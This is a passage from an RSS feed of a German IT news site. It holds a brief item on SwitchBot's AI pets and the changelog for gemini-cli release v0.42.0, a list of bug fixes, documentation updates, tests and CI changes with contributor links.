<guid isPermaLink="true">https://tsecurity.de/de/3512183/it-nachrichten/switchbots-new-ai-pets-respond-to-your-behavior-wont-pee-on-the-carpet/</guid>
<pubDate>Wed, 13 May 2026 03:02:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Noa and Niko are AI pets that react to gestures and voice commands while remembering everything they see.]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.42.0]]></title>
<description><![CDATA[What's Changed

fix(cli): prevent automatic updates from switching to less stable channels by @Adib234 in #26132
chore(release): bump version to 0.42.0-nightly.20260428.g59b2dea0e by @gemini-cli-robot in #26142
fix(cli): pass node arguments via NODE_OPTIONS during relaunch to support SEA by @coco...]]></description>
<link>https://tsecurity.de/de/3512037/downloads/release-v0420/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3512037/downloads/release-v0420/</guid>
<pubDate>Wed, 13 May 2026 00:31:30 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix(cli): prevent automatic updates from switching to less stable channels by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adib234/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adib234">@Adib234</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345002670" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26132" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26132/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26132">#26132</a></li>
<li>chore(release): bump version to 0.42.0-nightly.20260428.g59b2dea0e by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346009812" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26142" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26142/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26142">#26142</a></li>
<li>fix(cli): pass node arguments via NODE_OPTIONS during relaunch to support SEA by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344963187" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26130" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26130/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26130">#26130</a></li>
<li>fix(cli): handle DECKPAM keypad Enter sequences in terminal by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gitanaskhan26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gitanaskhan26">@Gitanaskhan26</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340554605" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26092" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26092/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26092">#26092</a></li>
<li>docs(cli): point plan-mode session retention to actual /settings labels by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ifitisit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ifitisit">@ifitisit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328858398" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25978" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25978/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25978">#25978</a></li>
<li>fix(core): add missing oauth fields support in subagent parsing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abhipatel12/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abhipatel12">@abhipatel12</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345977972" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26141" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26141/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26141">#26141</a></li>
<li>fix(core): disconnect extension-backed MCP clients in stopExtension by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345194806" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26136" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26136/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26136">#26136</a></li>
<li>Update documentation workflows with workspace trust by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/g-samroberts/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/g-samroberts">@g-samroberts</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346926351" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26150" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26150/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26150">#26150</a></li>
<li>refactor(acp): modularize monolithic acpClient into specialized files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sripasg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sripasg">@sripasg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346179203" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26143" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26143/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26143">#26143</a></li>
<li>test: fix failures due to antigravity environment leakage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamfweidman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamfweidman">@adamfweidman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347754087" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26162" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26162/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26162">#26162</a></li>
<li>fix(core): add explicit empty log guard in A2A pushMessage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamfweidman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamfweidman">@adamfweidman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351669627" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26198" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26198/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26198">#26198</a></li>
<li>feat(cli): add --delete flag to /exit command for session deletion by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbdulTawabJuly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbdulTawabJuly">@AbdulTawabJuly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3955415766" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/19332" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/19332/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/19332">#19332</a></li>
<li>test(core): add regression test for issue for ToolConfirmationResponse by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adib234/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adib234">@Adib234</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350824750" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26194" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26194/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26194">#26194</a></li>
<li>Add the ability to @ mention the gemini robot. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gundermanc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gundermanc">@gundermanc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352276437" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26207" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26207/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26207">#26207</a></li>
<li>test(evals): add EvalMetadata JSDoc annotations to older tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akh64bit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akh64bit">@akh64bit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346659014" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26147" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26147/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26147">#26147</a></li>
<li>fix(core): reduce default API timeout to 60s and enable retries for undici timeouts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adib234/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adib234">@Adib234</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350762688" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26191" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26191/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26191">#26191</a></li>
<li>fix(core): distinguish fallback chains and fix maxAttempts for auto vs explicit model selection by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamfweidman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamfweidman">@adamfweidman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347757476" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26163" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26163/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26163">#26163</a></li>
<li>fix(cli): handle InvalidStream event gracefully without throwing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamfweidman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamfweidman">@adamfweidman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353184369" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26218" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26218/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26218">#26218</a></li>
<li>ci(github-actions): switch to github app token and fix bot self-trigger by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gundermanc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gundermanc">@gundermanc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353450827" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26223" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26223/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26223">#26223</a></li>
<li>Respect logPrompts flag for logging sensitive fields by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lp-peg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lp-peg">@lp-peg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347336699" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26153" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26153/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26153">#26153</a></li>
<li>fix: correct API key validation logic in handleApiKeySubmit by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martin-hsu-test/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martin-hsu-test">@martin-hsu-test</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4268812683" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25453" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25453/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25453">#25453</a></li>
<li>fix(agent): prevent exit_plan_mode from being called via shell by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Abhijit-2592/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Abhijit-2592">@Abhijit-2592</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353889672" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26230" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26230/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26230">#26230</a></li>
<li>
<h1>Fix: Inconsistent Case-Sensitivity in GrepTool by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli">@gemini-cli</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354134199" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26235" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26235/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26235">#26235</a></h1>
</li>
<li>docs(core): add automated gemma setup guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Samee24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Samee24">@Samee24</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354068303" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26233" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26233/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26233">#26233</a></li>
<li>Allow non-https proxy urls to support container environments by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevemk14ebr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevemk14ebr">@stevemk14ebr</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354078327" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26234" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26234/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26234">#26234</a></li>
<li>fix(bot): productivity and backlog optimizations by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gundermanc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gundermanc">@gundermanc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354167030" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26236" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26236/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26236">#26236</a></li>
<li>refactor(acp): delegate prompt turn processing logic to GeminiClient by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sripasg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sripasg">@sripasg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353422516" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26222" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26222/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26222">#26222</a></li>
<li>fix(cli): refine platform-specific undo/redo and smart bubbling for WSL by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351975402" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26202" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26202/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26202">#26202</a></li>
<li>fix: suppress duplicate extension warnings during startup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352390793" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26208" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26208/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26208">#26208</a></li>
<li>fix(cli): use byte length instead of string length for readStdin size limits by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adib234/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adib234">@Adib234</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353477127" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26224" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26224/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26224">#26224</a></li>
<li>fix(ui): made shell tool header wrap on Ctrl+O by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devr0306/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devr0306">@devr0306</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353876255" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26229" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26229/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26229">#26229</a></li>
<li>Changelog for v0.41.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354732936" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26244" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26244/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26244">#26244</a></li>
<li>Skip binary CLI relaunch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruomengz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruomengz">@ruomengz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359027771" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26261" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26261/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26261">#26261</a></li>
<li>fix(cli): do not override GOOGLE_CLOUD_PROJECT in Cloud Shell when using Vertex AI by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackwotherspoon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackwotherspoon">@jackwotherspoon</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4189237623" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/24455" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/24455/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/24455">#24455</a></li>
<li>docs(cli): add skill discovery troubleshooting checklist to tutorial by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pmenic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pmenic">@pmenic</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332004509" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26018" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26018/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26018">#26018</a></li>
<li>docs(policy-engine): link to tools reference for tool names and args by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Aaxhirrr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Aaxhirrr">@Aaxhirrr</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4060941215" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/22081" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/22081/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/22081">#22081</a></li>
<li>Fix posting invalid response to a comment by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gundermanc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gundermanc">@gundermanc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359727057" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26266" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26266/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26266">#26266</a></li>
<li>fix(cli): prevent informational logs from polluting json output by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359389936" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26264" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26264/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26264">#26264</a></li>
<li>feat(ui): added microphone and updated placeholder for voice mode by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devr0306/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devr0306">@devr0306</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359984082" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26270" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26270/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26270">#26270</a></li>
<li>feat(cli): Add 'list' subcommand to '/commands' by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jwhyee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jwhyee">@Jwhyee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4071522855" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/22324" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/22324/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/22324">#22324</a></li>
<li>fix(core): ensure tool output cleanup on session deletion for legacy files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359132218" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26263" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26263/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26263">#26263</a></li>
<li>Docs: Update Agent Skills documentation  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jkcinouye/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jkcinouye">@jkcinouye</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4073682588" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/22388" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/22388/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/22388">#22388</a></li>
<li>test(acp): add missing coverage for extensions command error paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sahilkirad/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sahilkirad">@sahilkirad</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4256894120" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25313" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25313/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25313">#25313</a></li>
<li>Changelog for v0.40.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354757675" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26245" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26245/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26245">#26245</a></li>
<li>fix: report AgentExecutionBlocked in non-interactive programmatic modes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359115319" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26262" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26262/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26262">#26262</a></li>
<li>feat(extensions): add 'delete' as an alias for /extensions uninstall by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martin-hsu-test/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martin-hsu-test">@martin-hsu-test</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291427755" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25660" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25660/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25660">#25660</a></li>
<li>fix(core): silently skip GEMINI.md paths that are directories (EISDIR) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martin-hsu-test/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martin-hsu-test">@martin-hsu-test</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291478284" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25662" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25662/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25662">#25662</a></li>
<li>fix(ci): checkout PR branch instead of main in bot workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gundermanc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gundermanc">@gundermanc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361160874" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26289" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26289/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26289">#26289</a></li>
